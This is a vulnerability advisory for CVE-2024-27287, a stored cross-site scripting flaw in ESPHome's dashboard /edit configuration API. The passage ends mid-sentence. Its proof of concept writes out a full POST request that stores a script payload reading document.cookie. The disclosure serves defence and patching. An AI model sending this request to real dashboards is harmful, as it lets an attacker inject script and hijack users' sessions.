esphome vulnerable to stored Cross-site Scripting in edit configuration file API
Date: 2024-03
Affected: pip/esphome
Attack vector: xss
Category: vulnerability-disclosure
Severity: Medium
CVE: CVE-2024-27287
CWE: CWE-79
CVSS: 6.5 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N)

### Summary Edit configuration file API in dashboard component of ESPHome version 2023.12.9 (command line installation and Home Assistant add-on) serves unsanitized data with “Content-Type: text/html; charset=UTF-8”, allowing remote authenticated user to inject arbitrary web script and exfiltrate session cookies via Cross-Site scripting (XSS). ### Credits Spike Reply Cybersecurity Teams ### Details It is possible for a malicious authenticated user to inject arbitrary Javascript in configuration files using a POST request to the /edit endpoint, the configuration parameter allows to specify the file to write. To trigger the XSS vulnerability, the victim must visit the page /edit?configuration=[xss file]. ### PoC To reproduce the issue, it is possible to perform a POST request to inject the payload: request: POST /edit?configuration=xss.yaml HTTP/1.1 Host: localhost:6052 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/116.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: http://localhost:6052/ Connection: close Cookie: authenticated=[replace with valid cookie] Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Content-Length: 40 <script>alert(document.cookie);</script> __________________________ response: HTTP/1.1 200 OK Server: TornadoServer/6.3.3 Content-Type: text/html; charset=UTF-8 Date: Thu, 30 Nov 2023 11:02:27 GMT Content-Length: 0 Connection: close And subsequently trigg


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